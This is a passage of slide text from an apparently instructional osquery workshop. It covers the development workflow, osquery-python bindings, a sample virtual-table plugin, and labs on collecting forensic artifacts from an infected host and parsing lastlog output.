83. Development: Under the hood - C++11 - Clang (required) - Boost 1.60 - Facebook RocksDB - Apache Thrift - Google logging, flags, mock, testing - AWS SDK - OpenSSL - and tons more…. Designed to be deployed to anything! Requirements: 1. Glibc 2.12 (anything 2010+) 2. libz 3. libgcc_s 4. x86_64
84. Development Workflow - Building 1. Clone the code https://github.com/facebook.osquery.git 2. For linux VM, checkout Vagrantfile in the root of the project 3. Go into osquery folder and run: make deps && make 4. ??? 5. Profit Ref: https://osquery.readthedocs.io/en/stable/development/building/
85. Development Workflow - Testing There are many macros that you can use to test osquery: make # Default optimized configure/build make test # Test the default build make debug # Configure and build non-optimized with debuginfo make test_debug # Test the debug build make build # Skip the CMake project configure (compile only) make debug_build # Same as build, but applied to the debug target make test_debug_build # Take a guess ;) make clean # Clean the CMake project configuration make distclean # Clean all cached information and build dependencies Ref: https://osquery.readthedocs.io/en/stable/development/unit-tests/
86. Development Workflow - Formatting Formatting code: make format # Apply clang-format using osquery's format spec* make format-all # Not recommended but formats the entire code base Analyzing code: make analyze # Run clean first, then rebuild with the LLVM static analyzer make sanitize # Run clean first, then rebuild with sanitations
87. Development Workflow - Writing Writing osquery code workflow: 1. Fork facebook/osquery github 2. Write code 3. Build the code (make deps && make) 4. Repeat 1 and 2 until you are happy 5. Write test cases and test your code (make test) 6. Repeat 5 until you are happy 7. Analyze the code (make analyze && make sanitize) 8. Formatting (make format) 9. Put up the pull request
88. Python Bindings In osquery, SQL tables, configuration retrieval, log handling, etc are implemented via a simple, robust plugin and extensions API. The Python bindings allow you to create osquery extensions in Python.
89. Python Bindings - Installing From osquery/osquery-python github: $ pip install git+git://github.com/osquery/osquery-python.git From pip package management $ pip install osquery
90. Python Bindings - Playing import osquery if __name__ == "__main__": instance = osquery.SpawnInstance() instance.open() instance.client.query("select timestamp from time")
91. Python Bindings - Playing import osquery # <- Import the python module if __name__ == "__main__": instance = osquery.SpawnInstance() instance.open() instance.client.query("select timestamp from time")
92. Python Bindings - Playing import osquery # <- Import the python module if __name__ == "__main__": # Spawn an osquery process using an ephemeral extension socket. instance = osquery.SpawnInstance() instance.open() # <- open the instance to talk instance.client.query("select timestamp from time")
93. Python Bindings - Playing import osquery # <- Import the python module if __name__ == "__main__": # Spawn an osquery process using an ephemeral extension socket. instance = osquery.SpawnInstance() instance.open() # <- open the instance to talk # Issues queries and call osquery Thrift APIs. print(instance.client.query("select timestamp from time"))
94. Python Bindings - Running $ python simply.py # Running our code ExtensionResponse(status=ExtensionStatus(message='OK', code=0, uuid=0), response=[{'timestamp': 'Mon Aug 1 19:09:43 2016 UTC'}])
95. Python Bindings - Running $ python simply.py # Running our code ExtensionResponse(status=ExtensionStatus(message='OK', code=0, uuid=0), response=[{'timestamp': 'Mon Aug 1 19:09:43 2016 UTC'}]) # NOTE # ExtensionResponse() - response structure # status - tells status the request # message - status message # code - status code # uuid - uuid # response - result of the request in list
96. Lab #4 - Writing custom python extensions What? In this lab, you are an analyst. You want to write a script to collect forensic artifacts from an infected host. You want to collect all the things since you don’t know what is wrong with the host. How? Using osquery… We have provided you a template called lab4_collect_artifacts.py. You should use this collect the following information: timestamp, users, groups, system_info, crontab, arp_cache, etc_hosts, etc_services, dns_resolvers, listening_ports, kernel_modules, processes TL;DR - Your job is to complete all the TODOs in lab #4.
97. Python Bindings - Virtual Table osquery-python allows you to implement custom SQL tables
98. Python Bindings - Virtual Table import osquery @osquery.register_plugin class MyTablePlugin(osquery.TablePlugin): def name(self): return "foobar" def columns(self): return [ osquery.TableColumn(name="foo", type=osquery.STRING), osquery.TableColumn(name="baz", type=osquery.STRING), ] def generate(self, context): query_data = [] for _ in range(2): row = {} row["foo"] = "bar" row["baz"] = "baz" query_data.append(row) return query_data if __name__ == "__main__": osquery.start_extension(name="my_awesome_extension", version="1.0.0",)
99. Python Bindings - Virtual Table import osquery # < import the python module @osquery.register_plugin # < register plugin decorator class MyTablePlugin(osquery.TablePlugin): # Extending the table base def name(self): return "foobar" def columns(self): return [ osquery.TableColumn(name="foo", type=osquery.STRING), osquery.TableColumn(name="baz", type=osquery.STRING), ] def generate(self, context): query_data = [] for _ in range(2): row = {} row["foo"] = "bar" row["baz"] = "baz" query_data.append(row) return query_data if __name__ == "__main__": osquery.start_extension(name="my_awesome_extension", version="1.0.0",) Initialization 1. Import osquery module 2. Register the plugin 3. Extend the table from osquery.TablePlugin
100. Python Bindings - Virtual Table import osquery # < import the python module @osquery.register_plugin # < register plugin decorator # Extending the table base class MyTablePlugin(osquery.TablePlugin): def name(self): # Name of the table return "foobar" def columns(self): return [ osquery.TableColumn(name="foo", type=osquery.STRING), osquery.TableColumn(name="baz", type=osquery.STRING), ] def generate(self, context): query_data = [] for _ in range(2): row = {} row["foo"] = "bar" row["baz"] = "baz" query_data.append(row) return query_data if __name__ == "__main__": osquery.start_extension(name="my_awesome_extension", version="1.0.0",) Define table name
101. Python Bindings - Virtual Table import osquery # < import the python module @osquery.register_plugin # < register plugin decorator # Extending the table base class MyTablePlugin(osquery.TablePlugin): def name(self): # < Name of the table return "foobar" def columns(self): # Name of the columns return [ osquery.TableColumn(name="foo", type=osquery.STRING), osquery.TableColumn(name="baz", type=osquery.STRING), ] def generate(self, context): query_data = [] for _ in range(2): row = {} row["foo"] = "bar" row["baz"] = "baz" query_data.append(row) return query_data if __name__ == "__main__": osquery.start_extension(name="my_awesome_extension", version="1.0.0",) Define columns “foo” and “baz”
102. Python Bindings - Virtual Table import osquery # < import the python module @osquery.register_plugin # < register plugin decorator # Extending the table base class MyTablePlugin(osquery.TablePlugin): def name(self): # < Name of the table return "foobar" def columns(self): # Name of the columns return [ osquery.TableColumn(name="foo", type=osquery.STRING), osquery.TableColumn(name="baz", type=osquery.STRING), ] def generate(self, context): # Populate content of the columns query_data = [] for _ in range(2): row = {} row["foo"] = "bar" row["baz"] = "baz" query_data.append(row) return query_data if __name__ == "__main__": osquery.start_extension(name="my_awesome_extension", version="1.0.0",) Populate the rows content of the table
103. Python Bindings - Virtual Table import osquery # < import the python module @osquery.register_plugin # < register plugin decorator class MyTablePlugin(osquery.TablePlugin): # Extending the table base def name(self): # Name of the table return "foobar" def columns(self): # Name of the columns return [ osquery.TableColumn(name="foo", type=osquery.STRING), osquery.TableColumn(name="baz", type=osquery.STRING), ] def generate(self, context): # Populate content of the columns query_data = [] for _ in range(2): row = {} row["foo"] = "bar" row["baz"] = "baz" query_data.append(row) return query_data if __name__ == "__main__": # Start the extension osquery.start_extension(name="my_awesome_extension", version="1.0.0",) Start the extension
104. Python Bindings - Testing Virtual Table ## TERMINAL 1 osqueryi --nodisable_extensions --verbose osquery> select value from osquery_flags where name = 'extensions_socket'; +-----------------------------------+ | value | +-----------------------------------+ | /Users/USERNAME/.osquery/shell.em | +-----------------------------------+ # ... osquery> select * from foobar; +-----+-----+ | foo | baz | +-----+-----+ | bar | baz | | bar | baz | +-----+-----+ ## TERMINAL 2 python ./my_table_plugin.py --socket /Users/USERNAME/.osquery/shell.em # (... This will stay in infinite loop...)
105. Python Bindings - Testing Virtual Table ## TERMINAL 1 osqueryi --nodisable_extensions --verbose osquery> select value from osquery_flags where name = 'extensions_socket'; +-----------------------------------+ | value | +-----------------------------------+ | /Users/USERNAME/.osquery/shell.em | +-----------------------------------+ # ... osquery> select * from foobar; +-----+-----+ | foo | baz | +-----+-----+ | bar | baz | | bar | baz | +-----+-----+ ## TERMINAL 2 python ./my_table_plugin.py --socket /Users/USERNAME/.osquery/shell.em # (... This will stay in infinite loop...) In Terminal 1, figure out the socket. DO NOT CLOSE THIS TERMINAL. LEAVE IT RUNNING.
106. Python Bindings - Testing Virtual Table ## TERMINAL 1 osqueryi --nodisable_extensions --verbose osquery> select value from osquery_flags where name = 'extensions_socket'; +-----------------------------------+ | value | +-----------------------------------+ | /Users/USERNAME/.osquery/shell.em | +-----------------------------------+ # ... osquery> select * from foobar; +-----+-----+ | foo | baz | +-----+-----+ | bar | baz | | bar | baz | +-----+-----+ ## TERMINAL 2 python ./my_table_plugin.py --socket /Users/USERNAME/.osquery/shell.em # (... This will stay in infinite loop...) In Terminal 2, Launch your python extension with flag --socket and specify the socket file defined in previous slide. This will put your code in an infinite loop. Now, go back to Terminal 1.
107. Python Bindings - Testing Virtual Table ## TERMINAL 1 osqueryi --nodisable_extensions --verbose osquery> select value from osquery_flags where name = 'extensions_socket'; +-----------------------------------+ | value | +-----------------------------------+ | /Users/USERNAME/.osquery/shell.em | +-----------------------------------+ # ... osquery> select * from foobar; +-----+-----+ | foo | baz | +-----+-----+ | bar | baz | | bar | baz | +-----+-----+ ## TERMINAL 2 python ./my_table_plugin.py --socket /Users/USERNAME/.osquery/shell.em # (... This will stay in infinite loop...) In Terminal 1, Run a simple SQL statement to query your table foobar.
108. Lab 5 - Writing a table virtual table In this lab, you will learn how to write a virtual table for osquery in python. In Linux, there is a command called lastlog that formats and prints the contents of the last login log file, /var/log/lastlog. Your job will be: 1. Play with lastlog command 2. Understand the output format 3. Parse the output format in python. TL;DR - Your job is to complete all the TODOs in Lab #5.